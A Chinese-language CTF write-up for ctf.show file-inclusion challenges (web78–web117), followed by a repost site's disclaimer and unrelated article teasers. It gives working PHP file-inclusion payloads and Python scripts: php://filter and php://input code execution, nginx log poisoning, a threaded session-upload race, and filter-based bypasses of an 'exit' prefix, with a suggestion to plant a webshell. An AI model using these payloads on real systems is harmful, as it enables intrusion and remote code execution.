文件包含篇

web78

第一題filter偽協議直接讀源碼即可
?file=php://filter/convert.base64-encode/resource=flag.php

web79

flag.php的php無法用大小寫繞過,所以用Php://input只讀流

import requests
url = "http://fadb524a-f22d-4747-a35c-82f71e84bba7.challenge.ctf.show/?file=pHp://input"
payload = "<?php system('tac flag.php'); ?>"
# 構造請求頭,確保 PHP 能正確解析 php://input
headers = {"Content-Type": "application/x-www-form-urlencoded"
}
response = requests.post(url, data=payload, headers=headers)
print( response.text)

web80

依然是上題的方法,不過flag的文件名變了,我還以為是flag.php所以沒去ls導致用了點時間去排查!

web81

用日志包含

import requestsurl = "http://e1891a4b-af44-4673-a82d-8e53b6bd2f0f.challenge.ctf.show/?file=/var/log/nginx/access.log"
headers = {"User-Agent": "<?php system('tac fl0g.php');?>"
}
response = requests.get(url, headers=headers)
print( response.text)

但是這里要第二次運行才可以得到想要的結果,因為你第一次訪問的時候你要的東西還沒在日志文件里面!

web82

點被過濾了就只能打session包含了
先上傳個表單,然后里面有個<input type=“hidden” name=“PHP_SESSION_UPLOAD_PROGRESS” value=“unique_identifier”>關鍵就在于這的name,命令就寫在value里面

session.upload_progress.name=“PHP_SESSION_UPLOAD_PROGRESS”,這里的post前端表單上傳與name同名變量就可以獲得上傳進度

然后就是上傳于讀取的競爭了
在這里插入圖片描述
讀取
在這里插入圖片描述

web83—web86

依舊是session包含

import io
import requests
import threadingsessid="flag"
url="http://819302a9-0426-4a8c-82bf-8bb5fc2343e1.challenge.ctf.show/"def write(session):while event.is_set():f=io.BytesIO(b'a'*1024*50)r=session.post(url=url,cookies={'PHPSESSID':sessid},data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php system('tac fl0g.php');?>"},files={"file":('feii.txt',f)})def read(session):while event.is_set():payload="?file=/tmp/sess_"+sessidr=session.get(url=url+payload)if 'feii.txt' in r.text:print("[+] 成功寫入!響應:")print(r.text)event.clear()else :print("[-] 繼續嘗試...")if __name__=='__main__':event=threading.Event()event.set()with requests.session() as sess:for i in range(1,30):threading.Thread(target=write,args=(sess,)).start()for i in range(1,30):threading.Thread(target=read,args=(sess,)).start()

web87

這道題是寫入文件,但是你可控的東西在死亡函數之后,因此需要繞過死亡!
方法一:base64編碼

file:
?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%31%25%33%31%25%33%31%25%32%65%25%37%30%25%36%38%25%37%30
post:content=aaPD9waHAgcGhwaW5mbygpOw==

要寫什么自己定(當然直接寫馬是最好的),我這文件名是111.php,寫的是phpinfo(),還有就是前面加aa是為了將前面的6的湊成4的倍數,因為base64解碼時四個字節一組
方法二:rot13編碼(原理是一樣的)

?file=php://filter/write=string.rot13/resource=shell.php
content寫馬就行

但是它只適用于短標簽未開啟的情況,因為<?php die('大佬別秀了');?>的rot13解碼是<?cuc qvr('大佬別秀了');?>如果短標簽開啟了就會錯誤!

web88

data://協議可打!

web116

web部分
在這里插入圖片描述
那這就簡單了,不就是任意文件讀取了嗎?直接?file=flag.php然后在響應里面找到flag的base64編碼,解碼即可!

web117

用其他編碼繞過死亡

php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=1.php

str = "<?=system('tac f*');"
str_encoded = ''
for i in range(len(str)):if i % 2 == 1:str_encoded += str[i]str_encoded += str[i-1]
print(str_encoded) 		# ?<s=syet(mt'caf '*;)

end!在這里插入圖片描述

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/bicheng/92232.shtml
繁體地址,請注明出處:http://hk.pswp.cn/bicheng/92232.shtml
英文地址,請注明出處:http://en.pswp.cn/bicheng/92232.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

互作蛋白組學技術對比:鄰近標記與傳統IP-MS、Pull down-MS優勢對比

在生命科學領域&#xff0c;蛋白質間的相互作用構成了生命活動的核心網絡&#xff0c;驅動著信號傳導、基因調控、代謝途徑等關鍵過程。為了繪制這幅復雜的“分子互作地圖”&#xff0c;科學家們開發了多種技術&#xff0c;其中免疫共沉淀結合質譜&#xff08;IP-MS&#xff09…

(ZipList入門筆記一)ZipList的節點介紹

ZipList是 Redis 中一種非常緊湊、節省內存的數據結構 Ziplist&#xff08;壓縮列表&#xff09; 的內部內存布局。它被用于存儲元素較少的 List、Hash 和 Zset。 下面我們來詳細介紹每一個節點的含義&#xff1a; 1. zlbytes (ziplist bytes) 含義&#xff1a; 整個壓縮列…

Unix 發展史概覽

這里是一個簡明清晰的 Unix 發展史概覽&#xff0c;涵蓋從起源到現代的重要節點和演變過程。Unix 發展史概覽 1. Unix 起源&#xff08;1969年&#xff09; 貝爾實驗室&#xff1a;Ken Thompson 和 Dennis Ritchie 開發出 Unix 操作系統。最初設計目標&#xff1a;簡潔、可移植…

基于coze studio開源框架二次定制開發教程

目錄 一、 項目介紹 1.1 什么是Coze Studio 1.2 功能清單 1.3對比商業版本 二、 功能定開說明 2.1 技術棧簡介 2.2 項目架構

RHCE認證題解

考前說明請勿更改 IP 地址。DNS 解析完整主機名&#xff0c;同時也解析短名稱。? 所有系統的 root 密碼都是 redhat? Ansible 控制節點上已創建用戶賬戶 devops。可以使用 ssh 訪問? 所需的所有鏡像保存在鏡像倉庫 utility.lab.example.compodman 可使用下述賬號登錄使用 用…

調用com對象的坑

1、諫言 最近我在弄64位調用32位dll的問題&#xff0c;在幾種IPC之間&#xff0c;最后考慮了調用COM 畢竟我們只在windows平臺 2、第一坑–修改編譯后都需要重新注冊&#xff0c;注冊表 一直以為只需要編譯就好了&#xff0c;結果調用沒反應、報錯什么的&#xff0c;需要先撤銷…

【Python】PyQt 實現 TreeWidget 多級聯動選擇邏輯,打造素材搜索自定義樹形控件!

在開發自己的寫作素材管理工具時,我遇到了一個非常典型但又略顯棘手的 UI 問題: ?? 如何實現一個“可自由勾選分類標簽”的樹形結構界面,支持父子節點自動聯動勾選,提升用戶體驗? 雖然 PyQt 的 QTreeWidget 是構建多層分類結構的好幫手,但默認卻不具備父子節點的自動級…

27-數據倉庫與Apache Hive-2

1.數倉開發語言概述 理論上來說&#xff0c;任何一款編程語言只要具備讀寫數據、處理數據的能力&#xff0c;都可以用于數倉的開發。比如大家耳熟能詳的C、java、Python等&#xff1b; 關鍵在于編程語言是否易學、好用、功能是否強大。遺憾的是上面所列出的C、Python等編程語言…

軟件測試——接口自動化

測試中的自動化分為兩類&#xff1a; 1.ui自動化&#xff08;web、移動端&#xff09;2.接口自動化 前面的博客中&#xff0c;我們已經講解了web端的ui自動化&#xff0c;感興趣的同學可以去看看&#xff1a;軟件測試——自動化測試常見函數_自動化測試代碼編寫-CSDN博客 今…

Flask一個用戶同時只能在一處登錄實現

場景&#xff1a;web頁面如果多人用同一賬號同時登錄操作&#xff0c;可能會導致數據等的混亂甚至出現故障。并且可能損害開發者的利益。為此&#xff0c;本篇文章就講下如何實現同一賬戶同時僅能一個地方登錄操作。 思路&#xff1a;1. 用戶登陸時生成token&#xff08;uuid.u…

聯發科芯片組曝高危漏洞:越界寫入缺陷危及智能手機與物聯網設備安全

漏洞概況全球領先的芯片組制造商聯發科&#xff08;MediaTek&#xff09;近日發布最新產品安全公告&#xff0c;披露了影響其智能手機、物聯網設備及其他嵌入式系統芯片的多項安全漏洞。高危漏洞分析CVE-2025-20696 作為公告披露的首個且最嚴重的漏洞&#xff0c;該高危缺陷源于…

Android與Flutter混合開發:頁面跳轉與通信完整指南

Android與Flutter混合開發&#xff1a;頁面跳轉與通信完整指南 一、Android跳轉Flutter頁面的實現方式 1. 基礎跳轉方法 &#xff08;1&#xff09;使用全新引擎跳轉&#xff08;每次新建&#xff09; startActivity(FlutterActivity.withNewEngine().initialRoute("/home…

Web存儲技術詳解:sessionStorage、localStorage與Cookie

一、核心特性對比特性CookielocalStoragesessionStorage存儲大小4KB左右5-10MB5-10MB生命周期可設置過期時間永久存儲&#xff08;除非手動清除&#xff09;會話期間有效&#xff08;標簽頁關閉即清除&#xff09;作用域同源的所有窗口同源的所有窗口僅當前標簽頁自動發送每次H…

3. 為什么 0.1 + 0.2 != 0.3

總結 底層是二進制實現概述 在 JavaScript 中&#xff0c;0.1 0.2 的結果并不是精確的 0.3&#xff0c;而是 0.30000000000000004。這個現象并不是 JavaScript 的“bug”&#xff0c;而是由于浮點數在計算機底層的二進制表示方式導致的精度丟失問題。一、計算機如何表示小數&a…

股票數據接口哪家好?專業評測各主流接口的優勢與不足

Python股票接口實現查詢賬戶&#xff0c;提交訂單&#xff0c;自動交易&#xff08;1&#xff09; Python股票程序交易接口查賬&#xff0c;提交訂單&#xff0c;自動交易&#xff08;2&#xff09; 股票量化&#xff0c;Python炒股&#xff0c;CSDN交流社區 >>> 股票…

如何用分布式架構視角理解宇宙穩定性?從精細調參到微服務的類比思考

在調試一段多線程分布式代碼時&#xff0c;我忽然意識到一個不合理的事實&#xff1a;為什么現實世界這么穩定&#xff1f;為什么沒有“宇宙藍屏”或“感知崩潰”&#xff1f;為什么每天醒來&#xff0c;我們還能看到同樣的物理規律、感知同一個自我&#xff1f;站在程序員的角…

游戲畫面總是卡頓怎么辦 告別延遲暢玩游戲

玩游戲最讓人頭疼的問題之一就是畫面卡頓&#xff0c;影響操作流暢度與游戲體驗。卡頓可能由硬件性能、系統設置、網絡延遲等多種因素導致。本文將從不同角度出發&#xff0c;為你提供五個有效解決方法&#xff0c;幫助你快速提升游戲流暢度。 一、降低游戲畫質設置 高畫質雖然…

VUE+SPRINGBOOT從0-1打造前后端-前后臺系統-郵箱重置密碼

在現代Web應用中&#xff0c;密碼重置功能是用戶賬戶安全體系中不可或缺的一部分。本文將詳細介紹如何使用Vue.js前端框架和SpringBoot后端框架實現一個基于郵箱驗證的密碼重置功能。功能概述本密碼重置功能包含以下核心流程&#xff1a;用戶輸入注冊郵箱系統發送驗證碼到該郵箱…

華為云云產品的發展趨勢:技術創新驅動數字化未來

近年來&#xff0c;隨著5G、人工智能&#xff08;AI&#xff09;、大數據、物聯網&#xff08;IoT&#xff09;和邊緣計算等新興技術的快速發展&#xff0c;全球云計算產業正迎來新一輪變革。作為中國領先的云服務提供商&#xff0c;華為云依托華為集團在ICT&#xff08;信息與…

防御保護07-08

CIDR 可變長子網掩碼 VLSM 無類域間路由NET 用少量的私有地址替換大量的共有地址私網地址不能再互聯網上去使用、去分配。這里的互聯網指的是公網。服務器映射--用來使外部用戶能訪問私網服務器。靜態映射--公網地址和私網地址進行一對一的映射。地址池--中存在多個公網IP地址時…